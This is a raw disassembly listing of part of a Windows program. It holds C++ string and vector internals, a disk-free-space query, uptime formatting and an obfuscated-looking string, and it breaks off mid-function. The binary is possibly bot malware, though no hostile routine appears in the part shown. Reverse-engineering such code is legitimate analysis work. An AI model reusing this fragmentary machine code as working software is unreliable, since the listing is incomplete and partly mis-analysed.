sub_41B19E proc near ; CODE XREF: sub_419913+132p ; .text:00436333j push esi mov esi, ecx push dword ptr [esi+4] call sub_4290D0 xor eax, eax pop ecx mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn sub_41B19E endp ; =============== S U B R O U T I N E ======================================= sub_41B1B7 proc near ; CODE XREF: sub_419913+112p arg_0 = dword ptr 4 push esi mov esi, ecx push edi mov edi, [esp+8+arg_0] mov ecx, [esi+4] test ecx, ecx jz short loc_41B1D2 mov eax, [esi+8] sub eax, ecx sar eax, 2 cmp eax, edi ja short loc_41B1D9 loc_41B1D2: ; CODE XREF: sub_41B1B7+Dj mov ecx, esi call sub_41B1F5 loc_41B1D9: ; CODE XREF: sub_41B1B7+19j mov eax, [esi+4] lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_41B1B7 endp ; =============== S U B R O U T I N E ======================================= sub_41B1E4 proc near ; CODE XREF: sub_419913+76p arg_0 = dword ptr 4 push [esp+arg_0] push 1 push dword ptr [ecx+8] call sub_41B647 retn 4 sub_41B1E4 endp ; =============== S U B R O U T I N E ======================================= sub_41B1F5 proc near ; CODE XREF: sub_41B1B7+1Dp mov eax, offset loc_4365E4 call sub_42B7CC sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_41B4ED mov esi, offset aInvalidVectorT ; "invalid vector<T> subscript" push esi call sub_4293A0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_41B525 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41B24F lea eax, [ebp-3Ch] push offset dword_438474 push eax mov dword ptr [ebp-3Ch], offset off_4373D4 call sub_42B8FA pop esi sub_41B1F5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B24F proc near ; CODE XREF: sub_41B1F5+3Fp ; sub_4290DB+3Fp ... mov eax, offset loc_4365F8 call sub_42B7CC push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_454A54 call sub_42B994 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_41B4ED push 0FFFFFFFFh push 0 push ebx mov ecx, edi call sub_41B420 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_4373C4 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41B24F endp ; =============== S U B R O U T I N E ======================================= sub_41B2AF proc near ; DATA XREF: .text:004373A8o ; .text:004373C8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41B2BB mov eax, offset dword_437338 locret_41B2BB: ; CODE XREF: sub_41B2AF+5j retn sub_41B2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2BC proc near ; DATA XREF: .text:004373CCo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41B332 lea eax, [ebp+var_1C] push offset dword_4384D8 push eax call sub_42B8FA sub_41B2BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B2D9 proc near ; CODE XREF: .text:0041B319p ; DATA XREF: .text:004384DCo mov eax, offset loc_43660C call sub_42B7CC push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_4373C4 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_41B4ED or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_42BA1B mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41B2D9 endp ; --------------------------------------------------------------------------- loc_41B316: ; DATA XREF: .text:off_4373C4o push esi mov esi, ecx call sub_41B2D9 test byte ptr [esp+8], 1 jz short loc_41B32C push esi call sub_4290D0 pop ecx loc_41B32C: ; CODE XREF: .text:0041B323j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41B332 proc near ; CODE XREF: sub_41B2BC+Ap ; sub_41B400+7p ... mov eax, offset loc_436620 call sub_42B7CC push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_42B9D1 and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_41B4ED push 0FFFFFFFFh push 0 push ebx mov ecx, edi call sub_41B420 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_4373C4 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41B332 endp ; =============== S U B R O U T I N E ======================================= sub_41B38A proc near ; CODE XREF: sub_41B3C7+20p ; DATA XREF: .text:00438478o mov eax, offset loc_436634 call sub_42B7CC push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_4373C4 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_41B4ED or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_42BA1B mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41B38A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3C7 proc near ; DATA XREF: .text:004373DCo var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41B400 lea eax, [ebp+var_1C] push offset dword_438474 push eax call sub_42B8FA loc_41B3E4: ; DATA XREF: .text:off_4373D4o push esi mov esi, ecx call sub_41B38A test [esp+20h+var_18], 1 jz short loc_41B3FA push esi call sub_4290D0 pop ecx loc_41B3FA: ; CODE XREF: sub_41B3C7+2Aj mov eax, esi pop esi retn 4 sub_41B3C7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_41B3C7+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B332 mov dword ptr [esi], offset off_4373D4 mov eax, esi pop esi retn 4 sub_41B400 endp ; --------------------------------------------------------------------------- loc_41B418: ; CODE XREF: .text:004365DFj ; .text:0043668Fj ... push 1 call sub_41B4ED retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B420 proc near ; CODE XREF: sub_41B24F+42p ; sub_41B332+3Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_41B438 call sub_4291C3 loc_41B438: ; CODE XREF: sub_41B420+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_41B44A mov esi, [ebp+arg_8] loc_41B44A: ; CODE XREF: sub_41B420+25j cmp edi, ebx jnz short loc_41B468 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_41B55A push [ebp+arg_4] mov ecx, edi push 0 call sub_41B55A jmp short loc_41B4E4 ; --------------------------------------------------------------------------- loc_41B468: ; CODE XREF: sub_41B420+2Cj test esi, esi jbe short loc_41B4AB cmp esi, eax jnz short loc_41B4AB mov eax, [ebx+4] test eax, eax jnz short loc_41B47C mov eax, offset dword_437338 loc_41B47C: ; CODE XREF: sub_41B420+55j cmp byte ptr [eax-1], 0FEh jnb short loc_41B4AB push 1 mov ecx, edi call sub_41B4ED mov eax, [ebx+4] test eax, eax jnz short loc_41B497 mov eax, offset dword_437338 loc_41B497: ; CODE XREF: sub_41B420+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_41B4E4 ; --------------------------------------------------------------------------- loc_41B4AB: ; CODE XREF: sub_41B420+4Aj ; sub_41B420+4Ej ... push 1 push esi mov ecx, edi call sub_41B5C1 test al, al jz short loc_41B4E4 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_41B4C8 mov eax, offset dword_437338 loc_41B4C8: ; CODE XREF: sub_41B420+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_429420 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_41B4E4: ; CODE XREF: sub_41B420+46j ; sub_41B420+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_41B420 endp ; =============== S U B R O U T I N E ======================================= sub_41B4ED proc near ; CODE XREF: sub_41B1F5+19p ; sub_41B24F+36p ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_41B515 mov eax, [esi+4] test eax, eax jz short loc_41B515 dec eax mov cl, [eax] test cl, cl jz short loc_41B50E cmp cl, 0FFh jz short loc_41B50E dec byte ptr [eax] jmp short loc_41B515 ; --------------------------------------------------------------------------- loc_41B50E: ; CODE XREF: sub_41B4ED+16j ; sub_41B4ED+1Bj push eax call sub_4290D0 pop ecx loc_41B515: ; CODE XREF: sub_41B4ED+8j ; sub_41B4ED+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_41B4ED endp ; =============== S U B R O U T I N E ======================================= sub_41B525 proc near ; CODE XREF: sub_41B1F5+2Fp ; sub_41B8CF+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_41B5C1 test al, al jz short loc_41B553 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_429420 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_41B553: ; CODE XREF: sub_41B525+12j mov eax, esi pop edi pop esi retn 8 sub_41B525 endp ; =============== S U B R O U T I N E ======================================= sub_41B55A proc near ; CODE XREF: sub_41B420+35p ; sub_41B420+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_41B56D call sub_4291C3 loc_41B56D: ; CODE XREF: sub_41B55A+Cj mov ecx, edi call sub_41B8CF mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_41B583 mov ebx, eax loc_41B583: ; CODE XREF: sub_41B55A+25j test ebx, ebx jbe short loc_41B5B9 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_42BA90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_41B5C1 test al, al jz short loc_41B5B9 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_41B5B9: ; CODE XREF: sub_41B55A+2Bj ; sub_41B55A+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_41B55A endp ; =============== S U B R O U T I N E ======================================= sub_41B5C1 proc near ; CODE XREF: sub_41B420+90p ; sub_41B525+Bp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_41B5D3 call sub_4290DB loc_41B5D3: ; CODE XREF: sub_41B5C1+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_41B5FB mov cl, [eax-1] cmp cl, dl jz short loc_41B5FB cmp cl, 0FFh jz short loc_41B5FB cmp edi, edx mov ecx, esi jnz short loc_41B63A dec byte ptr [eax-1] push edx loc_41B5F2: ; CODE XREF: sub_41B5C1+48j call sub_41B4ED loc_41B5F7: ; CODE XREF: sub_41B5C1+4Cj ; sub_41B5C1+53j xor al, al jmp short loc_41B642 ; --------------------------------------------------------------------------- loc_41B5FB: ; CODE XREF: sub_41B5C1+19j ; sub_41B5C1+20j ... cmp edi, edx jnz short loc_41B616 cmp [esp+8+arg_4], dl jz short loc_41B60B push 1 mov ecx, esi jmp short loc_41B5F2 ; --------------------------------------------------------------------------- loc_41B60B: ; CODE XREF: sub_41B5C1+42j cmp eax, edx jz short loc_41B5F7 mov [esi+8], edx mov [eax], dl jmp short loc_41B5F7 ; --------------------------------------------------------------------------- loc_41B616: ; CODE XREF: sub_41B5C1+3Cj cmp [esp+8+arg_4], dl jz short loc_41B633 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_41B628 cmp eax, edi jnb short loc_41B640 loc_41B628: ; CODE XREF: sub_41B5C1+61j push 1 mov ecx, esi call sub_41B4ED jmp short loc_41B638 ; --------------------------------------------------------------------------- loc_41B633: ; CODE XREF: sub_41B5C1+59j cmp [esi+0Ch], edi jnb short loc_41B640 loc_41B638: ; CODE XREF: sub_41B5C1+70j mov ecx, esi loc_41B63A: ; CODE XREF: sub_41B5C1+2Bj push edi call sub_41B812 loc_41B640: ; CODE XREF: sub_41B5C1+65j ; sub_41B5C1+75j mov al, 1 loc_41B642: ; CODE XREF: sub_41B5C1+38j pop edi pop esi retn 8 sub_41B5C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B647 proc near ; CODE XREF: sub_41B1E4+9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx push edi mov edi, [ebp+arg_4] mov ecx, [esi+8] mov eax, [esi+0Ch] sub eax, ecx sar eax, 2 cmp eax, edi jnb loc_41B739 mov edx, [esi+4] test edx, edx jz short loc_41B678 mov eax, ecx sub eax, edx sar eax, 2 cmp edi, eax jb short loc_41B67A loc_41B678: ; CODE XREF: sub_41B647+24j mov eax, edi loc_41B67A: ; CODE XREF: sub_41B647+2Fj test edx, edx jnz short loc_41B682 xor ecx, ecx jmp short loc_41B687 ; --------------------------------------------------------------------------- loc_41B682: ; CODE XREF: sub_41B647+35j sub ecx, edx sar ecx, 2 loc_41B687: ; CODE XREF: sub_41B647+39j add eax, ecx test eax, eax mov [ebp+var_4], eax jge short loc_41B692 xor eax, eax loc_41B692: ; CODE XREF: sub_41B647+47j shl eax, 2 push eax call sub_42B4D7 mov edx, eax mov eax, [esi+4] pop ecx mov [ebp+arg_4], edx jmp short loc_41B6B4 ; --------------------------------------------------------------------------- loc_41B6A6: ; CODE XREF: sub_41B647+70j test edx, edx jz short loc_41B6AE mov ecx, [eax] mov [edx], ecx loc_41B6AE: ; CODE XREF: sub_41B647+61j add edx, 4 add eax, 4 loc_41B6B4: ; CODE XREF: sub_41B647+5Dj cmp eax, [ebp+arg_0] jnz short loc_41B6A6 test edi, edi mov eax, edx jbe short loc_41B6D2 mov ecx, edi loc_41B6C1: ; CODE XREF: sub_41B647+89j test eax, eax jz short loc_41B6CC mov ebx, [ebp+arg_8] mov ebx, [ebx] mov [eax], ebx loc_41B6CC: ; CODE XREF: sub_41B647+7Cj add eax, 4 dec ecx jnz short loc_41B6C1 loc_41B6D2: ; CODE XREF: sub_41B647+76j mov eax, [esi+8] mov ecx, edi shl ecx, 2 cmp [ebp+arg_0], eax mov [ebp+arg_8], eax lea ebx, [ecx+edx] jz short loc_41B701 mov eax, ebx sub eax, ecx sub eax, edx add eax, [ebp+arg_0] loc_41B6EE: ; CODE XREF: sub_41B647+B8j test ebx, ebx jz short loc_41B6F6 mov ecx, [eax] mov [ebx], ecx loc_41B6F6: ; CODE XREF: sub_41B647+A9j add eax, 4 add ebx, 4 cmp eax, [ebp+arg_8] jnz short loc_41B6EE loc_41B701: ; CODE XREF: sub_41B647+9Cj push dword ptr [esi+4] call sub_4290D0 mov eax, [ebp+var_4] mov edx, [esi+4] pop ecx mov ecx, [ebp+arg_4] test edx, edx lea eax, [ecx+eax*4] mov [esi+0Ch], eax jnz short loc_41B721 xor eax, eax jmp short loc_41B729 ; --------------------------------------------------------------------------- loc_41B721: ; CODE XREF: sub_41B647+D4j mov eax, [esi+8] sub eax, edx sar eax, 2 loc_41B729: ; CODE XREF: sub_41B647+D8j add eax, edi mov [esi+4], ecx lea eax, [ecx+eax*4] mov [esi+8], eax jmp loc_41B80B ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B647+19j mov edx, [ebp+arg_0] mov eax, ecx sub eax, edx sar eax, 2 cmp eax, edi jnb short loc_41B7B5 mov ebx, edi shl ebx, 2 cmp edx, ecx mov [ebp+arg_0], ebx lea eax, [ebx+edx] mov [ebp+var_4], eax jz short loc_41B77C sub eax, ebx mov ebx, [ebp+var_4] mov [ebp+arg_4], eax loc_41B761: ; CODE XREF: sub_41B647+130j test ebx, ebx jz short loc_41B76C mov eax, [eax] mov [ebx], eax mov eax, [ebp+arg_4] loc_41B76C: ; CODE XREF: sub_41B647+11Cj add eax, 4 add ebx, 4 cmp eax, ecx mov [ebp+arg_4], eax jnz short loc_41B761 mov ebx, [ebp+arg_0] loc_41B77C: ; CODE XREF: sub_41B647+110j mov eax, [esi+8] mov ecx, eax sub ecx, edx sar ecx, 2 sub edi, ecx mov ecx, [ebp+arg_8] jz short loc_41B7A0 mov [ebp+arg_0], edi loc_41B790: ; CODE XREF: sub_41B647+157j test eax, eax jz short loc_41B798 mov edi, [ecx] mov [eax], edi loc_41B798: ; CODE XREF: sub_41B647+14Bj add eax, 4 dec [ebp+arg_0] jnz short loc_41B790 loc_41B7A0: ; CODE XREF: sub_41B647+144j mov eax, [esi+8] jmp short loc_41B7AC ; --------------------------------------------------------------------------- loc_41B7A5: ; CODE XREF: sub_41B647+167j mov edi, [ecx] mov [edx], edi add edx, 4 loc_41B7AC: ; CODE XREF: sub_41B647+15Cj cmp edx, eax jnz short loc_41B7A5 add [esi+8], ebx jmp short loc_41B80B ; --------------------------------------------------------------------------- loc_41B7B5: ; CODE XREF: sub_41B647+FEj test edi, edi jbe short loc_41B80B shl edi, 2 mov eax, ecx mov ebx, ecx mov [ebp+arg_0], edi sub eax, edi jmp short loc_41B7D8 ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: sub_41B647+193j test ebx, ebx jz short loc_41B7D2 mov edi, [eax] mov [ebx], edi mov edi, [ebp+arg_0] loc_41B7D2: ; CODE XREF: sub_41B647+182j add ebx, 4 add eax, 4 loc_41B7D8: ; CODE XREF: sub_41B647+17Ej cmp eax, ecx jnz short loc_41B7C7 mov ecx, [esi+8] mov eax, ecx sub eax, edi cmp edx, eax jz short loc_41B7F5 loc_41B7E7: ; CODE XREF: sub_41B647+1ACj sub eax, 4 sub ecx, 4 cmp eax, edx mov ebx, [eax] mov [ecx], ebx jnz short loc_41B7E7 loc_41B7F5: ; CODE XREF: sub_41B647+19Ej lea eax, [edi+edx] jmp short loc_41B804 ; --------------------------------------------------------------------------- loc_41B7FA: ; CODE XREF: sub_41B647+1BFj mov ecx, [ebp+arg_8] mov ecx, [ecx] mov [edx], ecx add edx, 4 loc_41B804: ; CODE XREF: sub_41B647+1B1j cmp edx, eax jnz short loc_41B7FA add [esi+8], edi loc_41B80B: ; CODE XREF: sub_41B647+EDj ; sub_41B647+16Cj ... pop edi pop esi pop ebx leave retn 0Ch sub_41B647 endp ; =============== S U B R O U T I N E ======================================= sub_41B812 proc near ; CODE XREF: sub_41B5C1+7Ap mov eax, offset loc_436640 call sub_42B7CC sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_41B838 mov edi, [ebp+8] loc_41B838: ; CODE XREF: sub_41B812+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_41B845 xor eax, eax loc_41B845: ; CODE XREF: sub_41B812+2Fj push eax call sub_42B4D7 pop ecx mov [ebp+8], eax jmp short loc_41B876 ; --------------------------------------------------------------------------- loc_41B851: ; DATA XREF: .text:00438570o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_41B860 xor eax, eax loc_41B860: ; CODE XREF: sub_41B812+4Aj push eax call sub_42B4D7 mov [ebp+8], eax pop ecx mov eax, offset loc_41B870 retn ; --------------------------------------------------------------------------- loc_41B870: ; DATA XREF: sub_41B812+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_41B876: ; CODE XREF: sub_41B812+3Dj mov eax, [esi+8] test eax, eax jbe short loc_41B894 cmp eax, edi jbe short loc_41B883 mov eax, edi loc_41B883: ; CODE XREF: sub_41B812+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_429420 add esp, 0Ch loc_41B894: ; CODE XREF: sub_41B812+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_41B4ED mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_41B8B4 mov edi, ebx loc_41B8B4: ; CODE XREF: sub_41B812+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_41B812 endp ; =============== S U B R O U T I N E ======================================= sub_41B8CF proc near ; CODE XREF: sub_41B55A+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_41B8FC mov al, [esi-1] test al, al jz short loc_41B8FC cmp al, 0FFh jz short loc_41B8FC push 1 call sub_41B4ED push esi call sub_4293A0 pop ecx push eax push esi mov ecx, edi call sub_41B525 loc_41B8FC: ; CODE XREF: sub_41B8CF+9j ; sub_41B8CF+10j ... pop edi pop esi retn sub_41B8CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8FF proc near ; CODE XREF: sub_41B952+Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi push edi or eax, 0FFFFFFFFh push 1 mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax call dword_457004 ; SetErrorMode lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_4] call dword_4370E4 ; GetDiskFreeSpaceExA push 2 call dword_457004 ; SetErrorMode mov eax, [ebp+arg_0] push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_41B8FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B952 proc near ; CODE XREF: sub_41BE01+2A0p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_30] push eax call sub_41B8FF pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jnz short loc_41B9A6 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jnz short loc_41B9A6 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jnz short loc_41B9A6 xor eax, eax mov [ebp+var_30], eax mov [ebp+var_2C], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov [ebp+var_1C], eax jmp short loc_41B9E4 ; --------------------------------------------------------------------------- loc_41B9A6: ; CODE XREF: sub_41B952+29j ; sub_41B952+34j ... mov eax, [ebp+arg_8] cdq mov edi, edx mov esi, eax push edi push esi push [ebp+var_14] push [ebp+var_18] call sub_42B2F0 push edi push esi push [ebp+var_C] mov [ebp+var_30], eax mov [ebp+var_2C], edx push [ebp+var_10] call sub_42B2F0 push edi push esi push [ebp+var_4] mov [ebp+var_28], eax mov [ebp+var_24], edx push [ebp+var_8] call sub_42B2F0 mov [ebp+var_1C], edx loc_41B9E4: ; CODE XREF: sub_41B952+52j mov [ebp+var_20], eax mov eax, [ebp+arg_0] push 6 lea esi, [ebp+var_30] pop ecx mov edi, eax rep movsd pop edi pop esi leave retn sub_41B952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9F8 proc near ; CODE XREF: sub_401990+87p ; sub_40A9FE+193Fp ... var_2C = qword ptr -2Ch var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi xor edi, edi push 32h mov esi, offset dword_457FDC push edi push esi call sub_429760 add esp, 0Ch lea eax, [ebp+var_10] push eax call dword_4370D0 ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call dword_43718C ; QueryPerformanceFrequency cmp [ebp+var_C], edi jl short loc_41BA7D jg short loc_41BA34 cmp [ebp+var_10], edi jbe short loc_41BA7D loc_41BA34: ; CODE XREF: sub_41B9F8+35j cmp [ebp+var_4], edi jl short loc_41BA7D jg short loc_41BA40 cmp [ebp+var_8], edi jbe short loc_41BA7D loc_41BA40: ; CODE XREF: sub_41B9F8+41j push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_42B2F0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx ; double fstp [esp+2Ch+var_2C] call sub_42A706 mov eax, [ebp+arg_4] mov dword ptr [ebp+var_18+4], edi mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fsubp st(1), st call sub_42A9E0 mov ecx, eax jmp short loc_41BA96 ; --------------------------------------------------------------------------- loc_41BA7D: ; CODE XREF: sub_41B9F8+33j ; sub_41B9F8+3Aj ... mov eax, [ebp+arg_0] mov edi, 3E8h xor edx, edx mov ecx, edi div ecx xor edx, edx mov ecx, eax mov eax, [ebp+arg_4] div edi sub ecx, eax loc_41BA96: ; CODE XREF: sub_41B9F8+83j mov eax, ecx xor edx, edx mov ecx, 15180h mov edi, 0E10h div ecx push 3Ch pop ebx mov ecx, eax mov eax, edx xor edx, edx div edi mov edi, eax mov eax, edx xor edx, edx div ebx cmp [ebp+arg_8], 0 jnz short loc_41BAD6 test ecx, ecx ja short loc_41BAD6 push edx push eax push edi push offset a0_2d0_2d0_2d ; "%0.2d:%0.2d:%0.2d" push esi call sub_429B03 add esp, 14h jmp short loc_41BAF8 ; --------------------------------------------------------------------------- loc_41BAD6: ; CODE XREF: sub_41B9F8+C5j ; sub_41B9F8+C9j cmp ecx, 1 mov ebx, offset byte_454A54 jz short loc_41BAE5 mov ebx, offset aS_2 ; "s" loc_41BAE5: ; CODE XREF: sub_41B9F8+E6j push edx push eax push edi push ebx push ecx push offset aDDayS0_2d0_2d0 ; "%d day%s %0.2d:%0.2d:%0.2d" push esi call sub_429B03 add esp, 1Ch loc_41BAF8: ; CODE XREF: sub_41B9F8+DCj mov eax, esi pop edi pop esi pop ebx leave retn sub_41B9F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFF proc near ; CODE XREF: sub_41D6A6+22p ; sub_41D7D2+25p ... var_24 = qword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi xor esi, esi push 32h push esi push offset dword_457F70 call sub_429760 add esp, 0Ch lea eax, [ebp+var_10] push eax call dword_4370D0 ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call dword_43718C ; QueryPerformanceFrequency cmp [ebp+var_C], esi jl short loc_41BB71 jg short loc_41BB38 cmp [ebp+var_10], esi jbe short loc_41BB71 loc_41BB38: ; CODE XREF: sub_41BAFF+32j cmp [ebp+var_4], esi jl short loc_41BB71 jg short loc_41BB44 cmp [ebp+var_8], esi jbe short loc_41BB71 loc_41BB44: ; CODE XREF: sub_41BAFF+3Ej push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_42B2F0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42A706 pop ecx pop ecx call sub_42A9E0 jmp short loc_41BB7D ; --------------------------------------------------------------------------- loc_41BB71: ; CODE XREF: sub_41BAFF+30j ; sub_41BAFF+37j ... mov eax, [ebp+arg_0] xor edx, edx mov ecx, 3E8h div ecx loc_41BB7D: ; CODE XREF: sub_41BAFF+70j xor edx, edx mov ecx, 15180h div ecx pop esi leave retn sub_41BAFF endp ; =============== S U B R O U T I N E ======================================= sub_41BB89 proc near ; CODE XREF: sub_40A9FE+1AF5p push esi push 32h mov esi, offset dword_457FA4 push 0 push esi call sub_429760 add esp, 0Ch call sub_41BCED test eax, eax jnz short loc_41BBC1 call dword_437170 ; RtlGetLastWin32Error push eax push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset aSD_1 ; "%s <%d>" push esi call sub_429B03 add esp, 10h jmp short loc_41BC07 ; --------------------------------------------------------------------------- 